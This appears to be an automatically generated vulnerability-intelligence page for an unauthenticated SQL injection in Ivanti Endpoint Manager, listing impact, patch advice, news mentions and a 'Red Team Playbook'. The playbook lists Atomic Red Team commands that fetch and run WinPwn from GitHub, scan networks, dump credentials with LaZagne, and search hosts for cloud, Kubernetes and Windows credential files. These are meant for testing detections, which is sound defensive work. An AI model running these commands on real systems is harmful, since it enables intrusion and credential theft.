CVE-2026-121653
Overview
This vulnerability is a SQL injection flaw located in the core component of Ivanti Endpoint Manager prior to version 2024 SU8. The root cause is improper sanitization of user-supplied input within database query construction, allowing malicious SQL commands to be injected. The affected feature processes unauthenticated remote requests that interact with the backend database, enabling exploitation without valid credentials.
Vulnerability Description
SQL injection in the Core of Ivanti Endpoint Manager before version 2024 SU8 allows a remote unauthenticated attacker to achieve remote code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system, gaining full control over the Ivanti Endpoint Manager server. This enables access to sensitive data, manipulation of endpoint management functions, and potential lateral movement within the network. No prior authentication or user interaction is required, increasing the attack surface and risk of widespread compromise in enterprise environments.
Solution
Ivanti has released a security update in version 2024 SU8 addressing this SQL injection vulnerability. Administrators should apply this update promptly to affected Ivanti Endpoint Manager installations. Detailed patch instructions and advisory information are available at https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-November-2026?language=en_US. No vendor-recommended workarounds are provided; upgrading to the fixed version is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (22)
22 mentions from 13 sources in the last 7 days BuzzFactor 81 / 100
-
social bsky.app @eventmonitor.bsky.social 2026-11-12 14:57 UTCDeveloping: Critical Core Of Ivanti Endpoint Manager Vulnerability (CVE-2026-121653) https://cyber.eventmonitor.net/incident/EM-20261112-VRAT/critical-core-of-ivanti-endpoint-manager-vulnerability-cve-2026-121653/ #news #cybersecurityOpen source
-
code github.com googlesky 2026-11-12 06:43 UTCgooglesky/CVE-2026-121653Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 06:37 UTCIvanti EPM 2024 Vulnerability CVE-2026-121653: Critical SQL Injection Could Give Attackers Code Execution on Enterprise Management Servers + Video Introduction: A Critical Risk to Enterprise IT Infrastructure A critical security vulnerabil…Open source
-
social bsky.app @sansisc.bsky.social 2026-11-12 02:01 UTCSANS Stormcast Thursday, November 12th, 2026: Apache mod_http2 RCE (CVE-2026-119618); Fortinet FortiMail Criticals; Ivanti EPM SQLi (CVE-2026-121653); Windows SignDrop CLFS; N-able N-central HF2 https://isc.sans.edu/podcastdetail/10176Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-11-12 00:15 UTCIvanti、EPMにCVSS 9.8の認証不要RCE 脆弱性 CSAなど5製品の13件を修正 rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
social bsky.app @cvemon.bsky.social 2026-11-11 22:46 UTCCVE-2026-121653 is trending. Hype score 19, currently #4 on cvemon. SQL injection in the Core of Ivanti Endpoint Manager before version 2024 SU8 allows a remote unauthenticated attacker to achieve remote code execution. https://cvemon.intr…Open source
-
news businessupturn.com 2026-11-11 19:35 UTCIvanti CSA: check the version before closing your patch ticket - Business UpturnOpen source
-
news businessupturn.com 2026-11-11 19:35 UTCIvanti CSA: check the version before closing your patch ticket - Business UpturnOpen source
-
social infosec.exchange @DarkWebInformer 2026-11-11 17:08 UTC🚨 Critical Ivanti flaw allows hackers to execute code on enterprise management servers without authentication, CVE-2026-121653 Ivanti has released security updates addressing 13 vulnerabilities across five products, including a critical SQ…Open source
-
social bsky.app @intcyberdigest.bsky.social 2026-11-11 16:44 UTCThe bug, CVE-2026-121653, is a SQL injection in versions before 2024 SU8. A second flaw, rated 9.4, lets attackers add or delete trusted certificates in Ivanti's Cloud Services Application with no login.Open source
-
news mlq.ai 2026-11-11 16:18 UTCIvanti and Zoom patch critical flaws as Citrix and Asus ship security fixes - MLQ.aiOpen source
-
news rescana.com 2026-11-11 15:30 UTCIvanti November 2026 Security Update: Unauthenticated EPM RCE and CSA Certificate Flaw — Patch Now - RescanaOpen source
-
news securityweek.com 2026-11-11 13:37 UTCCitrix, Ivanti Patch Critical and High-Severity Vulnerabilities - SecurityWeekOpen source
-
news gbhackers.com 2026-11-11 10:35 UTCIvanti Patches Critical SQL Injection Flaw Allowing Remote Code Execution Without Login - GBHackers NewsOpen source
-
news cyberpress.org 2026-11-11 05:53 UTCCritical Ivanti Flaws Allow Hackers to Execute Code Without Authentication and Alter Certificates - Cyber PressOpen source
-
social bsky.app @stemshop.bsky.social 2026-11-10 18:07 UTC🚨 CVE-2026-121653 — CVSS 9.8 CRITICAL SQL injection in the Core of Ivanti Endpoint Manager before version 2024 SU8 allows a remote unauthenticate... 🔎 https://stemshop.top/cve/CVE-2026-121653 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app 2026-11-10 17:08 UTCIvanti Endpoint Manager: CVE-2026-121653 ejecuta código Ivanti Endpoint Manager tiene una falla 9,8 sin autenticación que ejecuta código en el Core. Parche 2024 SU8 y otros 12 fallos....Open source
-
social bsky.app @handle.invalid 2026-11-10 17:08 UTCIvanti Endpoint Manager: CVE-2026-121653 ejecuta código Ivanti Endpoint Manager tiene una falla 9,8 sin autenticación que ejecuta código en el Core. Parche 2024 SU8 y otros 12 fallos....Open source
-
news cybersecuritynews.com 2026-11-10 16:43 UTCIvanti Patches New Security Flaws Affecting Endpoint Manager, EPMM, Sentry, CSA, and Workspace Manager - CyberSecurityNewsOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-10 16:00 UTCCVE-2026-121653 - endpoint manager The core of Ivanti Endpoint Manager before the 2024 SU8 update can be tricked into executing unwanted commands from anyone on the internet. This means an attacker… Too many irrelevant or confusing CVEs? U…Open source
-
social infosec.exchange @116797276219291526 2026-11-10 15:48 UTCIvanti security advisories fix 13 flaws, including Ivanti Endpoint Manager RCE CVE-2026-121653 (CVSS 9.8) and CSA bug CVE-2026-121683. # Ivanti # IvantiEPM # EPMM # CVE2026121653 # SQLInjection # RCE # PatchTuesday # CyberSecurity # InfoSe…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-10 15:48 UTCIvanti security advisories fix 13 flaws, including Ivanti Endpoint Manager RCE CVE-2026-121653 (CVSS 9.8) and CSA bug CVE-2026-121683. #Ivanti #IvantiEPM #EPMM #CVE2026121653 #SQLInjection #RCE #PatchTuesday #CyberSecurity #InfoSecOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-121653 |
| hub.ivanti.com |
GitHub CVE
|
https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-November-2026?language=en_US |